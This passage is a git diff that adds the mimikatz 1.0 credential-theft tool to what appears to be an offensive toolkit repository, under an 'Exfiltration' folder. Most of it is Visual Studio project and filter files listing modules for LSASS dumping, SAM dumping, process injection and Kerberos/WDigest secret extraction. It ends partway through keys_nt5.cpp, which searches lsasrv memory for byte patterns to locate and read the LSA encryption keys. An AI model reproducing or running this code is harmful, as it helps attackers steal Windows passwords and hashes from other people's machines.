<Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories> + <MultiProcessorCompilation>true</MultiProcessorCompilation> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <ErrorReporting>None</ErrorReporting> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib</AdditionalDependencies> + <GenerateDebugInformation>false</GenerateDebugInformation> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + <ResourceCompile> + <Culture>0x040c</Culture> + </ResourceCompile> + </ItemDefinitionGroup> + <ItemGroup> + <ClInclude Include="..\modules\mod_crypto.h" /> + <ClInclude Include="..\modules\mod_cryptoapi.h" /> + <ClInclude Include="..\modules\mod_cryptong.h" /> + <ClInclude Include="..\modules\mod_hash.h" /> + <ClInclude Include="..\modules\mod_hive.h" /> + <ClInclude Include="..\modules\mod_inject.h" /> + <ClInclude Include="..\modules\mod_memory.h" /> + <ClInclude Include="..\modules\mod_minidump.h" /> + <ClInclude Include="..\modules\mod_ntddk.h" /> + <ClInclude Include="..\modules\mod_parseur.h" /> + <ClInclude Include="..\modules\mod_patch.h" /> + <ClInclude Include="..\modules\mod_pipe.h" /> + <ClInclude Include="..\modules\mod_privilege.h" /> + <ClInclude Include="..\modules\mod_process.h" /> + <ClInclude Include="..\modules\mod_secacl.h" /> + <ClInclude Include="..\modules\mod_service.h" /> + <ClInclude Include="..\modules\mod_system.h" /> + <ClInclude Include="..\modules\mod_text.h" /> + <ClInclude Include="..\modules\mod_thread.h" /> + <ClInclude Include="..\modules\mod_ts.h" /> + <ClInclude Include="..\modules\mod_windows.h" /> + <ClInclude Include="..\modules\mod_winsta_desktop.h" /> + <ClInclude Include="global.h" /> + <ClInclude Include="mimikatz.h" /> + <ClInclude Include="modules\LSA Keys\keys_nt5.h" /> + <ClInclude Include="modules\LSA Keys\keys_nt6.h" /> + <ClInclude Include="modules\mod_mimikatz_crypto.h" /> + <ClInclude Include="modules\mod_mimikatz_divers.h" /> + <ClInclude Include="modules\mod_mimikatz_efs.h" /> + <ClInclude Include="modules\mod_mimikatz_handle.h" /> + <ClInclude Include="modules\mod_mimikatz_hash.h" /> + <ClInclude Include="modules\mod_mimikatz_inject.h" /> + <ClInclude Include="modules\mod_mimikatz_minesweeper.h" /> + <ClInclude Include="modules\mod_mimikatz_nogpo.h" /> + <ClInclude Include="modules\mod_mimikatz_privilege.h" /> + <ClInclude Include="modules\mod_mimikatz_process.h" /> + <ClInclude Include="modules\mod_mimikatz_samdump.h" /> + <ClInclude Include="modules\mod_mimikatz_impersonate.h" /> + <ClInclude Include="modules\mod_mimikatz_sekurlsa.h" /> + <ClInclude Include="modules\mod_mimikatz_service.h" /> + <ClInclude Include="modules\mod_mimikatz_standard.h" /> + <ClInclude Include="modules\mod_mimikatz_system.h" /> + <ClInclude Include="modules\mod_mimikatz_terminalserver.h" /> + <ClInclude Include="modules\mod_mimikatz_thread.h" /> + <ClInclude Include="modules\mod_mimikatz_winmine.h" /> + <ClInclude Include="modules\Security Packages\kerberos.h" /> + <ClInclude Include="modules\Security Packages\livessp.h" /> + <ClInclude Include="modules\Security Packages\msv1_0.h" /> + <ClInclude Include="modules\Security Packages\ssp.h" /> + <ClInclude Include="modules\Security Packages\tspkg.h" /> + <ClInclude Include="modules\Security Packages\wdigest.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\modules\mod_crypto.cpp" /> + <ClCompile Include="..\modules\mod_cryptoapi.cpp" /> + <ClCompile Include="..\modules\mod_cryptong.cpp" /> + <ClCompile Include="..\modules\mod_hash.cpp" /> + <ClCompile Include="..\modules\mod_hive.cpp" /> + <ClCompile Include="..\modules\mod_inject.cpp" /> + <ClCompile Include="..\modules\mod_memory.cpp" /> + <ClCompile Include="..\modules\mod_minidump.cpp" /> + <ClCompile Include="..\modules\mod_parseur.cpp" /> + <ClCompile Include="..\modules\mod_patch.cpp" /> + <ClCompile Include="..\modules\mod_pipe.cpp" /> + <ClCompile Include="..\modules\mod_privilege.cpp" /> + <ClCompile Include="..\modules\mod_process.cpp" /> + <ClCompile Include="..\modules\mod_secacl.cpp" /> + <ClCompile Include="..\modules\mod_service.cpp" /> + <ClCompile Include="..\modules\mod_system.cpp" /> + <ClCompile Include="..\modules\mod_text.cpp" /> + <ClCompile Include="..\modules\mod_thread.cpp" /> + <ClCompile Include="..\modules\mod_ts.cpp" /> + <ClCompile Include="..\modules\mod_windows.cpp" /> + <ClCompile Include="..\modules\mod_winsta_desktop.cpp" /> + <ClCompile Include="global.cpp" /> + <ClCompile Include="main.cpp" /> + <ClCompile Include="mimikatz.cpp" /> + <ClCompile Include="modules\LSA Keys\keys_nt5.cpp" /> + <ClCompile Include="modules\LSA Keys\keys_nt6.cpp" /> + <ClCompile Include="modules\mod_mimikatz_crypto.cpp" /> + <ClCompile Include="modules\mod_mimikatz_divers.cpp" /> + <ClCompile Include="modules\mod_mimikatz_efs.cpp" /> + <ClCompile Include="modules\mod_mimikatz_handle.cpp" /> + <ClCompile Include="modules\mod_mimikatz_hash.cpp" /> + <ClCompile Include="modules\mod_mimikatz_inject.cpp" /> + <ClCompile Include="modules\mod_mimikatz_minesweeper.cpp" /> + <ClCompile Include="modules\mod_mimikatz_nogpo.cpp" /> + <ClCompile Include="modules\mod_mimikatz_privilege.cpp" /> + <ClCompile Include="modules\mod_mimikatz_process.cpp" /> + <ClCompile Include="modules\mod_mimikatz_samdump.cpp" /> + <ClCompile Include="modules\mod_mimikatz_impersonate.cpp" /> + <ClCompile Include="modules\mod_mimikatz_sekurlsa.cpp" /> + <ClCompile Include="modules\mod_mimikatz_service.cpp" /> + <ClCompile Include="modules\mod_mimikatz_standard.cpp" /> + <ClCompile Include="modules\mod_mimikatz_system.cpp" /> + <ClCompile Include="modules\mod_mimikatz_terminalserver.cpp" /> + <ClCompile Include="modules\mod_mimikatz_thread.cpp" /> + <ClCompile Include="modules\mod_mimikatz_winmine.cpp" /> + <ClCompile Include="modules\Security Packages\kerberos.cpp" /> + <ClCompile Include="modules\Security Packages\livessp.cpp" /> + <ClCompile Include="modules\Security Packages\msv1_0.cpp" /> + <ClCompile Include="modules\Security Packages\ssp.cpp" /> + <ClCompile Include="modules\Security Packages\tspkg.cpp" /> + <ClCompile Include="modules\Security Packages\wdigest.cpp" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="mimikatz.rc" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters new file mode 100644 index 0000000..378149f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters @@ -0,0 +1,386 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Modules Communs"> + <UniqueIdentifier>{86154ac4-51c4-4228-9ebb-5bc3c67c82a5}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Certificats & Clés"> + <UniqueIdentifier>{ab2db025-9ada-4b24-9f10-5bc479e72179}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Injecteur"> + <UniqueIdentifier>{4745ebd5-cfb4-4ff6-b2a2-5c867f06f52a}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Mémoire"> + <UniqueIdentifier>{3774201f-55a6-4793-8ca7-b6a9b1ff795b}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Parseur"> + <UniqueIdentifier>{81abef97-02ad-49e1-abfc-05b3c052b87c}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz"> + <UniqueIdentifier>{5132675e-44a3-4ab9-a33b-91cbeaa9559a}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Standard"> + <UniqueIdentifier>{5b8a7a54-517e-4ab4-b7e6-be738e69c0c7}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Démineur"> + <UniqueIdentifier>{1c14c20e-5127-461c-8c84-e47f621878a5}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\AntiGpo"> + <UniqueIdentifier>{13a67a74-e658-49da-8af5-857e3d692af7}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Registre"> + <UniqueIdentifier>{56b648ea-1ae8-4f7b-90b6-860f84d468d9}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Samdump"> + <UniqueIdentifier>{4e99b7f2-6de3-4984-a50a-0f60b3cf74d6}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Communication"> + <UniqueIdentifier>{e3eb943a-ee7e-4141-afb7-51276c95b0e1}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Injecteur"> + <UniqueIdentifier>{3d143a37-f444-4586-8866-b7c022720fb0}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Certificats & Clés"> + <UniqueIdentifier>{83996a56-5b3b-4d85-aa27-8cc0d3f1a5b6}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Patch"> + <UniqueIdentifier>{22cb979b-54ee-4732-bd93-538856c4818f}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Terminal Server"> + <UniqueIdentifier>{33450f45-6837-4cba-af7b-457bceebc085}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Divers"> + <UniqueIdentifier>{660c14bc-8634-4e80-87d6-39f9dab51e2d}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Securité et ACL"> + <UniqueIdentifier>{238e934d-2706-4fe3-8b7a-f14c2939f060}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\System"> + <UniqueIdentifier>{d5a5224b-a3d5-4ebb-9805-08998c7ed015}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\System"> + <UniqueIdentifier>{2a99a328-634d-44e7-bcaa-30112f169554}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Terminal Server"> + <UniqueIdentifier>{c8277a95-f9da-4352-9bb1-b35c883c6054}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\Impersonate"> + <UniqueIdentifier>{b482744c-513e-41c6-a766-22adead15ecd}</UniqueIdentifier> + </Filter> + <Filter Include="Modules Communs\Texte"> + <UniqueIdentifier>{a5ed030b-28fe-41b0-9f63-b254fd57400f}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\SekurLSA"> + <UniqueIdentifier>{77e8ad35-fa4d-4e0d-afdc-ae3060d5370a}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\SekurLSA\Security Packages"> + <UniqueIdentifier>{43b545d3-ad41-4c42-970d-7850d77b5432}</UniqueIdentifier> + </Filter> + <Filter Include="Modules locaux pour mimikatz\SekurLSA\LSA Keys"> + <UniqueIdentifier>{3a9d8afc-3734-4b86-ab2a-a300a20f956a}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="mimikatz.h" /> + <ClInclude Include="..\modules\mod_crypto.h"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_inject.h"> + <Filter>Modules Communs\Injecteur</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_memory.h"> + <Filter>Modules Communs\Mémoire</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_parseur.h"> + <Filter>Modules Communs\Parseur</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_process.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_crypto.h"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_standard.h"> + <Filter>Modules locaux pour mimikatz\Standard</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_process.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_winmine.h"> + <Filter>Modules locaux pour mimikatz\Démineur</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_nogpo.h"> + <Filter>Modules locaux pour mimikatz\AntiGpo</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_ntddk.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_hive.h"> + <Filter>Modules Communs\Registre</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_samdump.h"> + <Filter>Modules locaux pour mimikatz\Samdump</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_pipe.h"> + <Filter>Modules Communs\Communication</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_inject.h"> + <Filter>Modules locaux pour mimikatz\Injecteur</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_cryptoapi.h"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_cryptong.h"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_patch.h"> + <Filter>Modules Communs\Patch</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_terminalserver.h"> + <Filter>Modules locaux pour mimikatz\Terminal Server</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_divers.h"> + <Filter>Modules locaux pour mimikatz\Divers</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_secacl.h"> + <Filter>Modules Communs\Securité et ACL</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_thread.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_service.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_privilege.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_service.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_thread.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_privilege.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_system.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_system.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_ts.h"> + <Filter>Modules Communs\Terminal Server</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_impersonate.h"> + <Filter>Modules locaux pour mimikatz\Impersonate</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_handle.h"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_text.h"> + <Filter>Modules Communs\Texte</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_hash.h"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_hash.h"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_windows.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_minesweeper.h"> + <Filter>Modules locaux pour mimikatz\Démineur</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_sekurlsa.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\wdigest.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\kerberos.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\tspkg.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\livessp.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\msv1_0.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\mod_mimikatz_efs.h"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_minidump.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="..\modules\mod_winsta_desktop.h"> + <Filter>Modules Communs\System</Filter> + </ClInclude> + <ClInclude Include="modules\Security Packages\ssp.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClInclude> + <ClInclude Include="modules\LSA Keys\keys_nt5.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\LSA Keys</Filter> + </ClInclude> + <ClInclude Include="modules\LSA Keys\keys_nt6.h"> + <Filter>Modules locaux pour mimikatz\SekurLSA\LSA Keys</Filter> + </ClInclude> + <ClInclude Include="global.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="main.cpp" /> + <ClCompile Include="mimikatz.cpp" /> + <ClCompile Include="..\modules\mod_crypto.cpp"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_inject.cpp"> + <Filter>Modules Communs\Injecteur</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_memory.cpp"> + <Filter>Modules Communs\Mémoire</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_parseur.cpp"> + <Filter>Modules Communs\Parseur</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_process.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_crypto.cpp"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_standard.cpp"> + <Filter>Modules locaux pour mimikatz\Standard</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_winmine.cpp"> + <Filter>Modules locaux pour mimikatz\Démineur</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_nogpo.cpp"> + <Filter>Modules locaux pour mimikatz\AntiGpo</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_hive.cpp"> + <Filter>Modules Communs\Registre</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_samdump.cpp"> + <Filter>Modules locaux pour mimikatz\Samdump</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_pipe.cpp"> + <Filter>Modules Communs\Communication</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_inject.cpp"> + <Filter>Modules locaux pour mimikatz\Injecteur</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_cryptoapi.cpp"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_cryptong.cpp"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_patch.cpp"> + <Filter>Modules Communs\Patch</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_terminalserver.cpp"> + <Filter>Modules locaux pour mimikatz\Terminal Server</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_divers.cpp"> + <Filter>Modules locaux pour mimikatz\Divers</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_secacl.cpp"> + <Filter>Modules Communs\Securité et ACL</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_thread.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_service.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_privilege.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_system.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_thread.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_service.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_privilege.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_system.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_ts.cpp"> + <Filter>Modules Communs\Terminal Server</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_impersonate.cpp"> + <Filter>Modules locaux pour mimikatz\Impersonate</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_handle.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_text.cpp"> + <Filter>Modules Communs\Texte</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_hash.cpp"> + <Filter>Modules Communs\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_hash.cpp"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_windows.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_minesweeper.cpp"> + <Filter>Modules locaux pour mimikatz\Démineur</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\wdigest.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\kerberos.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\tspkg.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\livessp.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\msv1_0.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_sekurlsa.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_process.cpp"> + <Filter>Modules locaux pour mimikatz\System</Filter> + </ClCompile> + <ClCompile Include="modules\mod_mimikatz_efs.cpp"> + <Filter>Modules locaux pour mimikatz\Certificats & Clés</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_minidump.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="..\modules\mod_winsta_desktop.cpp"> + <Filter>Modules Communs\System</Filter> + </ClCompile> + <ClCompile Include="modules\Security Packages\ssp.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\Security Packages</Filter> + </ClCompile> + <ClCompile Include="modules\LSA Keys\keys_nt5.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\LSA Keys</Filter> + </ClCompile> + <ClCompile Include="modules\LSA Keys\keys_nt6.cpp"> + <Filter>Modules locaux pour mimikatz\SekurLSA\LSA Keys</Filter> + </ClCompile> + <ClCompile Include="global.cpp" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="mimikatz.rc" /> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp new file mode 100644 index 0000000..9b51c7f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp @@ -0,0 +1,76 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "keys_nt5.h" +#include "..\..\global.h" +PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL; + +#ifdef _M_X64 +BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3}; +LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long)); +LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long)); +LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long)); +LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long)); +#elif defined _M_IX86 +BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68}; +LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY); +LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 5 + 2 + 2 + 2; +LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_pRandomKey+ sizeof(long) + 2; +LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pDESXKey + sizeof(long) + 5 + 2; +#endif + +bool mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() +{ + PBYTE ptrBase = NULL; + DWORD mesSucces = 0; + if(mod_memory::searchMemory(mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr, mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr + mod_mimikatz_sekurlsa::localLSASRV.modBaseSize, PTRN_WNT5_LsaInitializeProtectedMemory_KEY, &ptrBase, sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY))) + { +#ifdef _M_X64 + PBYTE g_Feedback = reinterpret_cast<PBYTE >((ptrBase + OFFS_WNT5_g_Feedback) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_Feedback)); + g_pRandomKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pRandomKey)); + g_pDESXKey = reinterpret_cast<PBYTE *>((ptrBase + OFFS_WNT5_g_pDESXKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_pDESXKey)); + PDWORD g_cbRandomKey = reinterpret_cast<PDWORD >((ptrBase + OFFS_WNT5_g_cbRandomKey) + sizeof(long) + *reinterpret_cast<long *>(ptrBase + OFFS_WNT5_g_cbRandomKey)); +#elif defined _M_IX86 + PBYTE g_Feedback = *reinterpret_cast<PBYTE *>(ptrBase + OFFS_WNT5_g_Feedback); + g_pRandomKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pRandomKey); + g_pDESXKey = *reinterpret_cast<PBYTE **>(ptrBase + OFFS_WNT5_g_pDESXKey); + PDWORD g_cbRandomKey = *reinterpret_cast<PDWORD *>(ptrBase + OFFS_WNT5_g_cbRandomKey); +#endif + *g_Feedback = NULL; *g_pRandomKey = NULL; *g_pDESXKey = NULL; *g_cbRandomKey = NULL; + + mesSucces = 0; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (g_Feedback - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_Feedback, 8, mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_cbRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), g_cbRandomKey, sizeof(DWORD), mod_mimikatz_sekurlsa::hLSASS)) + mesSucces++; + if(mod_memory::readMemory(mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr + (reinterpret_cast<PBYTE>(g_pRandomKey) - mod_mimikatz_sekurlsa::localLSASRV.modBaseAddr), &ptrBase, 